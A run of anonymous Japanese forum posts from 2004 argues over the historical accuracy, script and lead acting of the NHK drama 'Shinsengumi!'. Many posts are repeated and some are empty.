>阿部の証言が採用されないのに文句をつけたところで
「近藤が謀殺目的で伊東を呼び出した」ことは永倉も証言してるんだけどね。
顛末記でも文久報国記事でも。
別に新選組批判者である阿部や西村だけが言ってるわけではない。
同じ永倉の証言でも一方は採用して一方は採用しない、
その三谷の姿勢についての意見。
続く。
569 ：名無しさん＠お腹いっぱい。：04/11/03 14:37:58 ID:bEy84jX3
>>563
>史料の取捨選択の基準が偏ったとしてもそれは重要問題ではない。
まあ油小路の場合は取捨選択というより完全な記録の改変だけど。
ただ改変するならするで物語として筋の通ったものにはしてほしいわな。
改変部分（近藤に伊東殺害の意思がなかった、伊東のほうから近藤を訪ねた）と
史実との辻褄あわせのために展開に矛盾点が出てる事が問題なわけ。
具体的には
・「命をかけて」伊東を説得し、「いつかは手を取り合うこともある」とさえ言った近藤が
なぜ御陵衛士殲滅に対しては何の反論もないのか？
筋を通すなら御陵衛士への説得にも「命をかけて」取り組むべきだろう。
しかも伊東の遺体を餌にするという、およそ近藤のこれまでのキャラからは
容認することが信じられないような策を平然と受け入れる不思議。
・和解したはずの伊東の遺体を餌に敵を殲滅するという卑劣な策に対して
あの永倉がまったく反論する気配が見られないのは何故か？
などなど。
こうした部分に何の疑問も感じないような視聴者は
本スレで「今まででいちばん泣けた」「香取の演技が素晴らしかった」というような
情緒的な感想でも述べ合ってればよい。
>史料の取捨選択の基準が偏ったとしてもそれは重要問題ではない。
まあ油小路の場合は取捨選択というより完全な記録の改変だけど。
ただ改変するならするで物語として筋の通ったものにはしてほしいわな。
改変部分（近藤に伊東殺害の意思がなかった、伊東のほうから近藤を訪ねた）と
史実との辻褄あわせのために展開に矛盾点が出てる事が問題なわけ。
具体的には
・「命をかけて」伊東を説得し、「いつかは手を取り合うこともある」とさえ言った近藤が
なぜ御陵衛士殲滅に対しては何の反論もないのか？
筋を通すなら御陵衛士への説得にも「命をかけて」取り組むべきだろう。
しかも伊東の遺体を餌にするという、およそ近藤のこれまでのキャラからは
容認することが信じられないような策を平然と受け入れる不思議。
・和解したはずの伊東の遺体を餌に敵を殲滅するという卑劣な策に対して
あの永倉がまったく反論する気配が見られないのは何故か？
などなど。
こうした部分に何の疑問も感じないような視聴者は
本スレで「今まででいちばん泣けた」「香取の演技が素晴らしかった」というような
情緒的な感想でも述べ合ってればよい。
570 ：名無しさん＠お腹いっぱい。：04/11/03 14:48:02 ID:tU7aLwhP
571 ：名無しさん＠お腹いっぱい。：04/11/03 14:48:51 ID:fPN+CtOt
572 ：名無しさん＠お腹いっぱい。：04/11/03 14:53:43 ID:qdZKizn9
>>570
昔じゃなくて今の価値観でだって十分卑劣なのにね・・・
昔じゃなくて今の価値観でだって十分卑劣なのにね・・・
573 ：名無しさん＠お腹いっぱい。：04/11/03 15:16:41 ID:p5s2w7ga
>>569
同意。
同意。
574 ：名無しさん＠お腹いっぱい。：04/11/03 15:32:57 ID:s/Gx2szy
今回、視聴率上がったらしいが、次回は下降決定的。同じ時間帯日米野球が
あるからな。プロ野球の視聴率はご存知のごとく下がってきてるが、実は日米野球
の視聴率は近年は以外といい。特に今年はイチローの大活躍で、メジャーに関心ある
香具師多いからな。
あるからな。プロ野球の視聴率はご存知のごとく下がってきてるが、実は日米野球
の視聴率は近年は以外といい。特に今年はイチローの大活躍で、メジャーに関心ある
香具師多いからな。
575 ：名無しさん＠お腹いっぱい。：04/11/03 15:56:20 ID:bEy84jX3
永倉曰く、「近藤さんは人を信じているゆえに策を用いない」。
なるほど、確かに近藤は策を用いず伊東と一対一で会談した。
しかし会談は平隊士の暴走で水泡に帰した。
近藤という男が本当に信念を持って「人を信じて」いるのだとしたら、
最後の最後までその信念を貫くはずだろうし、そういう姿を視聴者に提示してこそ
山南の一連の近藤ヨイショ発言も説得力を持つ。
が、実際の近藤は最終的には常に土方の策に屈する。
かつて策を弄して新見を切腹に追い込んだ土方を
「俺がこういうことが一番嫌いなのは分かってるだろう！」と
殴り飛ばしたあの近藤が。
永倉の「土方さんの姿勢に同調している近藤さんにも非がある」という
建白書の意見に、「俺たちにも非がある。非があるからには謝ろうと思う」と
頭を下げたはずのあの近藤が。
結局、史実は変えられない以上、力士との喧嘩の仲裁はできても
暗殺や粛清を止める事は出来ない。
近藤の「策を弄さず、人を信じ、どこまでも真っ直ぐ」という信念は
どうやっても成立し得ない構造になってるわけだ。
にもかかわらず、ムリヤリその信念を維持しようとすると
「近藤は不在だった」「平隊士が暴走した」「本人が死を望んでいた」などの
小賢しいカラクリが多用されることになる。
今回の「土方の策に沈黙する近藤」＝「己の信念を貫き通す事を諦めた近藤」は
そうしたカラクリの臨界点だろう。
「信念を持ちながら、過酷な現実の前にそれを貫き通せない近藤」を描いた
という意味では、それなりの功績があるだろう。
まあ、永倉の「近藤さんはあなた（伊東）とは違う」などの台詞を聞いていると
三谷が果たしてどこまで「現実の前に挫折する近藤」を描いている自覚が
あるのかどうか微妙なところではあるが。
たぶん「近藤は信念を貫いてる。でも不可抗力で悪い方向へ転がる」
というように描いてるつもりなんだろうな。
なるほど、確かに近藤は策を用いず伊東と一対一で会談した。
しかし会談は平隊士の暴走で水泡に帰した。
近藤という男が本当に信念を持って「人を信じて」いるのだとしたら、
最後の最後までその信念を貫くはずだろうし、そういう姿を視聴者に提示してこそ
山南の一連の近藤ヨイショ発言も説得力を持つ。
が、実際の近藤は最終的には常に土方の策に屈する。
かつて策を弄して新見を切腹に追い込んだ土方を
「俺がこういうことが一番嫌いなのは分かってるだろう！」と
殴り飛ばしたあの近藤が。
永倉の「土方さんの姿勢に同調している近藤さんにも非がある」という
建白書の意見に、「俺たちにも非がある。非があるからには謝ろうと思う」と
頭を下げたはずのあの近藤が。
結局、史実は変えられない以上、力士との喧嘩の仲裁はできても
暗殺や粛清を止める事は出来ない。
近藤の「策を弄さず、人を信じ、どこまでも真っ直ぐ」という信念は
どうやっても成立し得ない構造になってるわけだ。
にもかかわらず、ムリヤリその信念を維持しようとすると
「近藤は不在だった」「平隊士が暴走した」「本人が死を望んでいた」などの
小賢しいカラクリが多用されることになる。
今回の「土方の策に沈黙する近藤」＝「己の信念を貫き通す事を諦めた近藤」は
そうしたカラクリの臨界点だろう。
「信念を持ちながら、過酷な現実の前にそれを貫き通せない近藤」を描いた
という意味では、それなりの功績があるだろう。
まあ、永倉の「近藤さんはあなた（伊東）とは違う」などの台詞を聞いていると
三谷が果たしてどこまで「現実の前に挫折する近藤」を描いている自覚が
あるのかどうか微妙なところではあるが。
たぶん「近藤は信念を貫いてる。でも不可抗力で悪い方向へ転がる」
というように描いてるつもりなんだろうな。
576 ：名無しさん＠お腹いっぱい。：04/11/03 15:56:38 ID:gcauVpUE
577 ：名無しさん＠お腹いっぱい。：04/11/03 15:58:46 ID:x352cEGf
578 ：名無しさん＠お腹いっぱい。：04/11/03 16:05:59 ID:oiFIv0uS
アンチ側の意見とオタ側の意見は平行線で当たり前
こっちから見たら、向こうは変
向こうから見たら、アンチには分らんでもいい
こっちから見たら、向こうは変
向こうから見たら、アンチには分らんでもいい
579 ：名無しさん＠お腹いっぱい。：04/11/03 16:09:32 ID:x352cEGf
580 ：名無しさん＠お腹いっぱい。：04/11/03 17:24:51 ID:swyvvICU
もっと上手い人なら分かるけど、
香取の演技への批判＝アンチだから
とするのには無理がある。
香取の演技への批判＝アンチだから
とするのには無理がある。
581 ：名無しさん＠お腹いっぱい。：04/11/03 18:47:58 ID:EsnFJ4B6
まったくだ。
このドラマの６割は香取の演技とも呼べんクソ演技のせいで台無しになってる。
もちろん残りの４割は我等が三谷御大のせい。
このドラマの６割は香取の演技とも呼べんクソ演技のせいで台無しになってる。
もちろん残りの４割は我等が三谷御大のせい。
582 ：名無しさん＠お腹いっぱい。：04/11/03 19:36:44 ID:bCEd0vyI
583 ：名無しさん＠お腹いっぱい。：04/11/03 20:37:37 ID:FA25aObg
三谷脚本による近藤は気の毒なくらい為所がなく放置されている。
でも香取でなく、もっと格の高い役者であれば為所のなさも、器が大きい、腹が太い、と見えたかもしれない。
（忠臣蔵の大石のように）
しかし格も位もない香取に、それを期待するのは無理だよ。
結局、このドラマを企画して脚本スタッフを選定したＮＨＫに一番責任があると思う。
（つまらない結論になってしまった）
でも香取でなく、もっと格の高い役者であれば為所のなさも、器が大きい、腹が太い、と見えたかもしれない。
（忠臣蔵の大石のように）
しかし格も位もない香取に、それを期待するのは無理だよ。
結局、このドラマを企画して脚本スタッフを選定したＮＨＫに一番責任があると思う。
（つまらない結論になってしまった）
584 ：名無しさん＠お腹いっぱい。：04/11/03 20:58:13 ID:89JyRP2k
>>578
自分はここにいるけど、別にアンチじゃない。
ただ、マンセーしてる人が不快になったら悪いと思って、
ひどいストーリー展開だと思った時はここに書いているだけ。
面白くなれば、いつでもマンセーしてる場所にいって
大いに楽しみを分かち合いたいんだが、なかなかそれができない。
自分はここにいるけど、別にアンチじゃない。
ただ、マンセーしてる人が不快になったら悪いと思って、
ひどいストーリー展開だと思った時はここに書いているだけ。
面白くなれば、いつでもマンセーしてる場所にいって
大いに楽しみを分かち合いたいんだが、なかなかそれができない。
585 ：名無しさん＠お腹いっぱい。：04/11/03 21:26:23 ID:3dc+vK9t
紀行で「伊東が暗殺を企てた」って断言するなよｗ
あくまで史実を語るコーナーじゃなかったのか
あくまで史実を語るコーナーじゃなかったのか
586 ：名無しさん＠お腹いっぱい。：04/11/03 21:32:39 ID:eSUqbEot
587 ：名無しさん＠お腹いっぱい。：04/11/03 21:44:47 ID:Mpz+xdcu
香取の素のままのキャラが近藤勇にピッタリだと言ってたよね、三谷
だから香取に役作りするな、ってアドバイスしたらしい
自分はこれがすべて裏目に出たと思ってる
だから香取に役作りするな、ってアドバイスしたらしい
自分はこれがすべて裏目に出たと思ってる
588 ：名無しさん＠お腹いっぱい。：04/11/03 22:08:30 ID:fJBSPUW6
近藤のダークな面（現在から見て）を取り除いたらああなるだろうな
そういう意味で三谷には同情する
ただ香取近藤は何をするにも煮え切らないので見ている側もいらいらする
そういう意味で三谷には同情する
ただ香取近藤は何をするにも煮え切らないので見ている側もいらいらする
589 ：名無しさん＠お腹いっぱい。：04/11/03 23:01:06 ID:xO47Vfin
近藤はあまりにもいい人に描かれ杉
毎週見てたけど、今日録画したのを一気に見たら、何かおかしいな…という気になりさめた。
武蔵よりは後半が少しマシかも？という程度。三谷マジックにかかってたと思う。
毎週見てたけど、今日録画したのを一気に見たら、何かおかしいな…という気になりさめた。
武蔵よりは後半が少しマシかも？という程度。三谷マジックにかかってたと思う。
590 ：名無しさん＠お腹いっぱい。：04/11/03 23:42:20 ID:9zQpMykp
出鱈目だけど、武蔵と比べると俺にとってはマシ。一話完結のドラマとして見ると
地味じゃない分。あと回に寄ってはコメディとしても見れる。アンチの俺が言うん
だから、間違いないｗ。
地味じゃない分。あと回に寄ってはコメディとしても見れる。アンチの俺が言うん
だから、間違いないｗ。
591 ：名無しさん＠お腹いっぱい。：04/11/03 23:44:37 ID:bCEd0vyI
龍馬暗殺から油小路という流れは新撰組劇の終盤の山場のひとつだから
ここでの大きな齟齬は元々のファンからも反発買うだろうな。
ここ数日のレスをみてると本スレからの鞍替え組（二股？）が増えてる気がする。
ヲタの多い作品のアンチスレってのは、後半本スレがぐだぐだになったときに
比較的まともな感性の住民が意見を述べたいときの避難所として機能するんだよな。
アンチというより半アンチという感じだが、無意味なアンチ狩りがたむろする本スレよりは
それなりに議論が可能だと思うからこの調子でアンチ住民が増えて欲しいもんだ。
そのうち>>589のように夢から醒めて、より冷静に「失敗作」と認識できるようになるし。
ここでの大きな齟齬は元々のファンからも反発買うだろうな。
ここ数日のレスをみてると本スレからの鞍替え組（二股？）が増えてる気がする。
ヲタの多い作品のアンチスレってのは、後半本スレがぐだぐだになったときに
比較的まともな感性の住民が意見を述べたいときの避難所として機能するんだよな。
アンチというより半アンチという感じだが、無意味なアンチ狩りがたむろする本スレよりは
それなりに議論が可能だと思うからこの調子でアンチ住民が増えて欲しいもんだ。
そのうち>>589のように夢から醒めて、より冷静に「失敗作」と認識できるようになるし。
592 ：名無しさん＠お腹いっぱい。：04/11/04 00:07:38 ID:Xy8H1pCK
>>591
>ここ数日のレスをみてると本スレからの鞍替え組（二股？）が増えてる気がする。
そこまで言うと、ちょっと妄想の域に入っちゃってる気がするね。
同じ様な意見でスレが回っていて新視点がない現状では、とても
そこまで買いかぶる気にはなれない。
むしろアンチスレと本スレの間にある深き谷はさらに深くなっている
ようにさえ思えるけどね。本スレにアンチ風味のカキコを落としても
無反応が多いよ。
>ここ数日のレスをみてると本スレからの鞍替え組（二股？）が増えてる気がする。
そこまで言うと、ちょっと妄想の域に入っちゃってる気がするね。
同じ様な意見でスレが回っていて新視点がない現状では、とても
そこまで買いかぶる気にはなれない。
むしろアンチスレと本スレの間にある深き谷はさらに深くなっている
ようにさえ思えるけどね。本スレにアンチ風味のカキコを落としても
無反応が多いよ。
593 ：名無しさん＠お腹いっぱい。：04/11/04 00:11:14 ID:L44lZjZK
>>589が今まで毎回どんな感想を持ってたのかが気になるｗ
池田屋とか、当時どうでした？近藤ｶｺｲｲ!!って感じだったの？
池田屋とか、当時どうでした？近藤ｶｺｲｲ!!って感じだったの？
594 ：名無しさん＠お腹いっぱい。：04/11/04 00:23:04 ID:nosfQT6h
いい人に書かれているというより、普通の人っぽく自分は感じるな。
だから近藤が個性が希薄で、つまらない人物に思える。
信念が貫かれていて、はっきりとした理由があれば
ある程度は冷酷非情な部分があった方が、カリスマ的な魅力に
通じると思うんだが。
今の近藤は、優柔不断なおっさんが虚勢をはってるみたいだ。
だから近藤が個性が希薄で、つまらない人物に思える。
信念が貫かれていて、はっきりとした理由があれば
ある程度は冷酷非情な部分があった方が、カリスマ的な魅力に
通じると思うんだが。
今の近藤は、優柔不断なおっさんが虚勢をはってるみたいだ。
595 ：名無しさん＠お腹いっぱい。：04/11/04 00:23:51 ID:Fw0upIT1
近藤が助けようとした人
ヒュースケン、エゲレス兵、清河、殿内、山南、武田、伊東、藤堂
ヒュースケン、エゲレス兵、清河、殿内、山南、武田、伊東、藤堂
596 ：名無しさん＠お腹いっぱい。：04/11/04 00:31:14 ID:L44lZjZK
>>595
竜馬も
竜馬も
597 ：名無しさん＠お腹いっぱい。：04/11/04 00:46:06 ID:LlA7jHo1
>592
鞍替え組です。
流れとしては、
序盤 批判的
その後土方、山南、源さん、周斎、坂本、桂、佐久間が面白いかも。
ヒュースケンでアンチに鞍替え、
その後ずっと面白い派、
前の回、今回で鞍替え
です。
鞍替え組です。
流れとしては、
序盤 批判的
その後土方、山南、源さん、周斎、坂本、桂、佐久間が面白いかも。
ヒュースケンでアンチに鞍替え、
その後ずっと面白い派、
前の回、今回で鞍替え
です。
598 ：名無しさん＠お腹いっぱい。：04/11/04 00:57:53 ID:Xy8H1pCK
599 ：名無しさん＠お腹いっぱい。：04/11/04 01:00:16 ID:I2oK7eZT
600 ：名無しさん＠お腹いっぱい。：04/11/04 01:02:14 ID:J89feNd6
>>594
近藤は普通の人でも、物語の上でしか存在できない普通の人だな
どうせ作者が設定した舞台から飛び出せないから予定調和に向かって
無個性な判断を繰り返してるだけに見える
近藤が優柔不断でつまらない人間であっても伊東は殺され、勝手にその中心人物にされるという
現実にあんな緊張きわまる環境におかれていてもあんな無個性だったら神経切れてるとしか思えない
近藤は普通の人でも、物語の上でしか存在できない普通の人だな
どうせ作者が設定した舞台から飛び出せないから予定調和に向かって
無個性な判断を繰り返してるだけに見える
近藤が優柔不断でつまらない人間であっても伊東は殺され、勝手にその中心人物にされるという
現実にあんな緊張きわまる環境におかれていてもあんな無個性だったら神経切れてるとしか思えない
601 ：名無しさん＠お腹いっぱい。：04/11/04 01:26:21 ID:9tF2NKZH
自分は前半は半アンチ半ｦﾀだったかも｡
自分の中では芹澤ネタまでが｢これなら面白いと思う人もいるのは解る｣って感じ｡
とにかく後半から一気にガクっとツマラナく感じた｡
それまで文句言いながらも割りと観れたけど､芹澤死後は文句しか出なかった｡
持ち直しどころか､回を重ねるほど酷くなると感じてる｡
今や完全なアンチ｡
三谷さんの事はこれで本気で嫌いになってしまった｡残念なんだが｡
自分の中では芹澤ネタまでが｢これなら面白いと思う人もいるのは解る｣って感じ｡
とにかく後半から一気にガクっとツマラナく感じた｡
それまで文句言いながらも割りと観れたけど､芹澤死後は文句しか出なかった｡
持ち直しどころか､回を重ねるほど酷くなると感じてる｡
今や完全なアンチ｡
三谷さんの事はこれで本気で嫌いになってしまった｡残念なんだが｡
602 ：名無しさん＠お腹いっぱい。：04/11/04 04:42:03 ID:3mK2SjjR
優香演じる「お幸」が死んだあとで、なぜ「お孝」が沖田の看病をしているのだ？
お孝にとっては新選組には何の義理もないのだろうし不自然。
お孝にとっては新選組には何の義理もないのだろうし不自然。
603 ：名無しさん＠お腹いっぱい。：04/11/04 04:56:19 ID:9tF2NKZH
まず､近藤と妾の関係がちゃんと描けてないもんね｡
聖人君子だから本妻以外に愛人がいてはいけない､みたいな感じで
姉との関係がまるでプラトニックな関係の様だったから､その妹なんてもっとそんな感じ｡
看病も不自然になるわな｡
聖人君子だから本妻以外に愛人がいてはいけない､みたいな感じで
姉との関係がまるでプラトニックな関係の様だったから､その妹なんてもっとそんな感じ｡
看病も不自然になるわな｡
604 ：名無しさん＠お腹いっぱい。：04/11/04 08:54:32 ID:Imo9wgtz
正直、話の筋に関しては最初から批判的だったが
脇役が良かったのでその辺は面白く見てた。
邦衛・清河・鴨・山南・桂・竜馬・佐々木・永倉
と、いい感じに続いたが、そろそろ皆いなくなる。
香取と若造だけで持つのだろうか。
脇役が良かったのでその辺は面白く見てた。
邦衛・清河・鴨・山南・桂・竜馬・佐々木・永倉
と、いい感じに続いたが、そろそろ皆いなくなる。
香取と若造だけで持つのだろうか。
605 ：名無しさん＠お腹いっぱい。：04/11/04 09:44:26 ID:STnydcOC
いずれにしてもヲタって気持ち悪いな
606 ：名無しさん＠お腹いっぱい。：04/11/04 10:27:54 ID:Vnkmi1cg
一度アンチとなったら死ぬまでアンチなのが普通
、って言うとオーバーだが、アンチというのはもっと主体性を持った人の事を言う。
簡単に好きになったり逆にアンチになったり、、全く理解しかねるな。
、って言うとオーバーだが、アンチというのはもっと主体性を持った人の事を言う。
簡単に好きになったり逆にアンチになったり、、全く理解しかねるな。
607 ：名無しさん＠お腹いっぱい。：04/11/04 11:02:48 ID:DUFNBf4q
('A`)
608 ：名無しさん＠お腹いっぱい。：04/11/04 11:06:19 ID:Y7dcCKdv
609 ：名無しさん＠お腹いっぱい。：04/11/04 11:30:01 ID:Wdu/QFRM
近藤は池田屋の時がなかなかかっこよかったけど、
またすぐに悩む好青年に戻っちゃったなあ。
またすぐに悩む好青年に戻っちゃったなあ。
610 ：名無しさん＠お腹いっぱい。：04/11/04 12:00:23 ID:2sjNE+l5
611 ：名無しさん＠お腹いっぱい。：04/11/04 12:37:29 ID:xTBdsHqM
最初ひでが来ているのかとおもった。
だから平助が驚いているのかと･･･。
だから平助が驚いているのかと･･･。
612 ：名無しさん＠お腹いっぱい。：04/11/04 12:45:50 ID:OOBp0oWO
>>606
アンチという言葉の解釈は人によってそれぞれだからそういう信条の人間がいることは否定しないが、
どちらかというとそういう人間のほうが粘着ストーカー的で信者ヲタよりキモい印象がするな。
テレビ番組に対するアンチなんてのは一通り毒気を吐いてすっきりすれば
そんな屑番組のことは忘れて次の興味の対象に移るくらいが健全だし、
実際にそういうヤシのほうが多いだろう。
例えば「アンチ巨人」という言葉を使う人間はある程度恒常的にアンチを標榜してるのが多いが、
それでも「長嶋ジャイアンツだけは許す」とか、「巨人は嫌いだが清原は応援する」とか
個別のスタンスが存在する。
また巨人よりも読売グループとナベツネの存在が気に入らない立場からアンチとなったのは
ナベツネ辞任以降ニュートラルになったのもいるだろう。
特定個人に対する好悪の感情から活動している攻撃的アンチは
自分が世紀の駄作「新選組！」が嫌いなのか
それとも三谷なり香取なりその他の役者なりが嫌いなのか考えてみたほうがいい。
駄作ドラマに対する関心はそれだけで持続するもんじゃないし。
このスレのスタンスは>>1にあるように
＞アンチと言えど心は広く保つべし。部分的アンチも歓迎の方向で。
アンチという言葉の解釈は人によってそれぞれだからそういう信条の人間がいることは否定しないが、
どちらかというとそういう人間のほうが粘着ストーカー的で信者ヲタよりキモい印象がするな。
テレビ番組に対するアンチなんてのは一通り毒気を吐いてすっきりすれば
そんな屑番組のことは忘れて次の興味の対象に移るくらいが健全だし、
実際にそういうヤシのほうが多いだろう。
例えば「アンチ巨人」という言葉を使う人間はある程度恒常的にアンチを標榜してるのが多いが、
それでも「長嶋ジャイアンツだけは許す」とか、「巨人は嫌いだが清原は応援する」とか
個別のスタンスが存在する。
また巨人よりも読売グループとナベツネの存在が気に入らない立場からアンチとなったのは
ナベツネ辞任以降ニュートラルになったのもいるだろう。
特定個人に対する好悪の感情から活動している攻撃的アンチは
自分が世紀の駄作「新選組！」が嫌いなのか
それとも三谷なり香取なりその他の役者なりが嫌いなのか考えてみたほうがいい。
駄作ドラマに対する関心はそれだけで持続するもんじゃないし。
このスレのスタンスは>>1にあるように
＞アンチと言えど心は広く保つべし。部分的アンチも歓迎の方向で。
613 ：名無しさん＠お腹いっぱい。：04/11/04 13:29:08 ID:A5orsXq7
>>612
クソレスが多い中、至極まっとうなレス発見！
クソレスが多い中、至極まっとうなレス発見！
614 ：名無しさん＠お腹いっぱい。：04/11/04 13:52:12 ID:9tF2NKZH
でもだらだらした長文だったから､
真ん中読まなかった｡ｺﾞﾒｿ｡
真ん中読まなかった｡ｺﾞﾒｿ｡
615 ：名無しさん＠お腹いっぱい。：04/11/04 15:20:32 ID:SnctOWjr
全く正論だ。俺も読んでいないが。
616 ：名無しさん＠お腹いっぱい。：04/11/04 15:25:52 ID:Vnkmi1cg
後半はまったく。その通りです。
そもそも2chで使われてるアンチって言葉、自分の思ってる意味とは違ってたようです。
スレのスタンス了解しました。
そもそも2chで使われてるアンチって言葉、自分の思ってる意味とは違ってたようです。
スレのスタンス了解しました。
617 ：名無しさん＠お腹いっぱい。：04/11/04 15:29:11 ID:9YazriFK
618 ：名無しさん＠お腹いっぱい。：04/11/04 15:44:43 ID:GBDOJMHf
いや>>612は前半はそのとおりだとは思うが、後半はどうかな。
なぜなら「新撰組！」を世紀の駄作にしてるのが主に主演の香取+三谷なのが明白な以上、
毒吐くにしても香取と三谷は避けては通れないよ。だから作品としての「新撰組！」
とそれに関わる限りの香取と三谷は非難されてもしょうがないだろう。
なぜなら「新撰組！」を世紀の駄作にしてるのが主に主演の香取+三谷なのが明白な以上、
毒吐くにしても香取と三谷は避けては通れないよ。だから作品としての「新撰組！」
とそれに関わる限りの香取と三谷は非難されてもしょうがないだろう。
619 ：名無しさん＠お腹いっぱい。：04/11/04 16:28:23 ID:1cPAsDFY
三谷・香取非難ねえ…作品ではなく人格攻撃してるお門違いも若干いるようですが…プッ
620 ：名無しさん＠お腹いっぱい。：04/11/04 16:40:29 ID:lDnGk1QE
621 ：名無しさん＠お腹いっぱい。：04/11/04 16:57:03 ID:Oy7x+YFO
井上源三郎もあんなに人が良くなかった
と思う
と思う
622 ：名無しさん＠お腹いっぱい。：04/11/04 17:08:03 ID:ZXgK9+kt
人がへったのをいいことにこのドラマのファンがアンチに好きなこといってるようですが
まあホントのアンチはこのドラマをみてないと思うので好きにこのスレ使えばいいと思うけどね。
まあホントのアンチはこのドラマをみてないと思うので好きにこのスレ使えばいいと思うけどね。
623 ：名無しさん＠お腹いっぱい。：04/11/04 17:35:53 ID:Vnkmi1cg
そういえば・・
先週の源さんの台詞「またひとり逝ってもうた・・！」には萎えたなー
すべてを台無しにする一言だったな。
先週の源さんの台詞「またひとり逝ってもうた・・！」には萎えたなー
すべてを台無しにする一言だったな。
624 ：悪いけど、最悪です三谷さん：04/11/04 17:46:36 ID:Oy7x+YFO
966 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：04/11/04 15:46:33 ID:SnctOWjr
最終回です。
勇との最後の別れに多くの人々が
駆けつけた。そして、妻や養母に
見守られ、勇はその生涯を閉じた
慶応4年（1868）4月、板橋。勇の処刑の日が来た。つね（田畑智子）、ふで
（野際陽子）、音五郎（阿南健治）、捨助（中村獅童）も来ている。そして、旅
先で噂を聞いた左之助も駆けつけた。そのころ、千駄ヶ谷の植木屋平五郎
（島田順司）の家で静養する総司を3人の刺客が襲った。世話をしていた
お孝が斬られ、危ういところを駆けつけた平五郎から刀を受け取った総司は
、瞬く間に3人を斬り捨てた。だが、大量の血を吐き、その場に崩れ落ちる。
刑場に合図の太鼓が鳴り、勇が堂々と進んで来る。目を合わせる勇とつね
、頷きあう2人。そして、ふでが”近藤勇、よく戦いました”と声を上げる。警固
の兵が駆けつけるが、見物人たちが口々に”近藤先生！ご苦労さん！”と叫
び出し、成す術もなく立ち尽くす警固の兵。その時、刑場の裏手から捨助が
新選組の羽織りを着て、刀を手に飛び込んで来た。全身を斬られても前へ
進む捨助、やがて力尽きる。だが、その顔は満足感に満ちていた。それを
見た左之助も斬り込もうとするが、会津へ向かった斎藤たちと別れた尾形
（飯田基祐）が現われ、ここで死んでも局長は喜ばないと説得され断念。
そして、”尽忠報国の士、あっぱれなり！”と、勇に最後の言葉をかけ駆け去
っていく。
処刑の瞬間、勇は何かをつぶやいたが、その答えは闇に消えた。近藤勇、
享年35歳。多摩から京へ、短くも激しいその生涯を閉じた。（完）
最終回です。
勇との最後の別れに多くの人々が
駆けつけた。そして、妻や養母に
見守られ、勇はその生涯を閉じた
慶応4年（1868）4月、板橋。勇の処刑の日が来た。つね（田畑智子）、ふで
（野際陽子）、音五郎（阿南健治）、捨助（中村獅童）も来ている。そして、旅
先で噂を聞いた左之助も駆けつけた。そのころ、千駄ヶ谷の植木屋平五郎
（島田順司）の家で静養する総司を3人の刺客が襲った。世話をしていた
お孝が斬られ、危ういところを駆けつけた平五郎から刀を受け取った総司は
、瞬く間に3人を斬り捨てた。だが、大量の血を吐き、その場に崩れ落ちる。
刑場に合図の太鼓が鳴り、勇が堂々と進んで来る。目を合わせる勇とつね
、頷きあう2人。そして、ふでが”近藤勇、よく戦いました”と声を上げる。警固
の兵が駆けつけるが、見物人たちが口々に”近藤先生！ご苦労さん！”と叫
び出し、成す術もなく立ち尽くす警固の兵。その時、刑場の裏手から捨助が
新選組の羽織りを着て、刀を手に飛び込んで来た。全身を斬られても前へ
進む捨助、やがて力尽きる。だが、その顔は満足感に満ちていた。それを
見た左之助も斬り込もうとするが、会津へ向かった斎藤たちと別れた尾形
（飯田基祐）が現われ、ここで死んでも局長は喜ばないと説得され断念。
そして、”尽忠報国の士、あっぱれなり！”と、勇に最後の言葉をかけ駆け去
っていく。
処刑の瞬間、勇は何かをつぶやいたが、その答えは闇に消えた。近藤勇、
享年35歳。多摩から京へ、短くも激しいその生涯を閉じた。（完）
625 ：名無しさん＠お腹いっぱい。：04/11/04 18:21:20 ID:j0nswauw
今回一番気になったのは香取近藤が
死んでいく平助を抱きかかえたシーン
目が泳いでた。
死んでいく人を見る時は
その瞳をじっと見詰めるのが人情だろうに・・・
死んでいく平助を抱きかかえたシーン
目が泳いでた。
死んでいく人を見る時は
その瞳をじっと見詰めるのが人情だろうに・・・
626 ：名無しさん＠お腹いっぱい。：04/11/04 18:30:25 ID:nosfQT6h
多分、今回の大河が好きでたまらない人にとっては、
批判をするのはアンチという特殊な人々なんだと
思い込みたいんだろうな。
河合、山南、武田のエピソードの回なんかは面白いと思ったが、
とにかく油小路は最悪の出来。藤堂は熱演してたし泣かされたが、
伊東と近藤のやりとり、近藤のしめくくりが陳腐すぎた。
批判をするのはアンチという特殊な人々なんだと
思い込みたいんだろうな。
河合、山南、武田のエピソードの回なんかは面白いと思ったが、
とにかく油小路は最悪の出来。藤堂は熱演してたし泣かされたが、
伊東と近藤のやりとり、近藤のしめくくりが陳腐すぎた。
627 ：名無しさん＠お腹いっぱい。：04/11/04 18:59:38 ID:GkpeXGOI
>>625
局長が登場すると現場が軽くなるよね。
局長が登場すると現場が軽くなるよね。
628 ：名無しさん＠お腹いっぱい。：04/11/04 19:47:09 ID:zowJ+6lx
三谷がキャスト陣に、史実や自分の演じる人物のことを調べるなって言ったの、
分かる気がするよな。
分かる気がするよな。
629 ：名無しさん＠お腹いっぱい。：04/11/04 19:59:11 ID:W9sDKzZN
草彅は調べたらしいねｗ
630 ：名無しさん＠お腹いっぱい。：04/11/04 20:16:31 ID:4u4mAoEJ
631 ：名無しさん＠お腹いっぱい。：04/11/04 21:28:04 ID:Nro1VzZj
このスレ、真面目に作品を分析して批判してる一部の良心的アンチと
大部分のただのバカに二極化してるな。
大部分のただのバカに二極化してるな。
632 ：名無しさん＠お腹いっぱい。：04/11/04 21:34:47 ID:UePTMpkg
707 ：689 ：04/11/04 18:36:26 ID:vGMbJQyt
好意的脳内補填って言うけれど
これって三谷は意図してやってると思う。
伏線や、対比として現れているし、大河公式や三谷の連載コラムを
読んでいるとわかる。
シナリオ重視、無茶苦茶に見える設定も、ありえない事も無いと言える程度
史実無視のように見えて、考察はきっちりしてある。
ここは流石にNHK、監修する人に専門家をつけているだけはある。
好意的脳内補填って言うけれど
これって三谷は意図してやってると思う。
伏線や、対比として現れているし、大河公式や三谷の連載コラムを
読んでいるとわかる。
シナリオ重視、無茶苦茶に見える設定も、ありえない事も無いと言える程度
史実無視のように見えて、考察はきっちりしてある。
ここは流石にNHK、監修する人に専門家をつけているだけはある。
633 ：名無しさん＠お腹いっぱい。：04/11/04 21:37:43 ID:UePTMpkg
>>569 >>575
己の信念の解釈が違う。
今の近藤の信念は鴨に言ったように鬼になること。
目標が鬼の局長として新選組を纏めることであり
今のような優しさを出すのは元々の近藤の性。
という解釈。
命がけで和議が成立するのであれば伊東と個別会談はするが
もう、どうしようもない時は土方に一任する。
こう考えれば特に不自然はない。
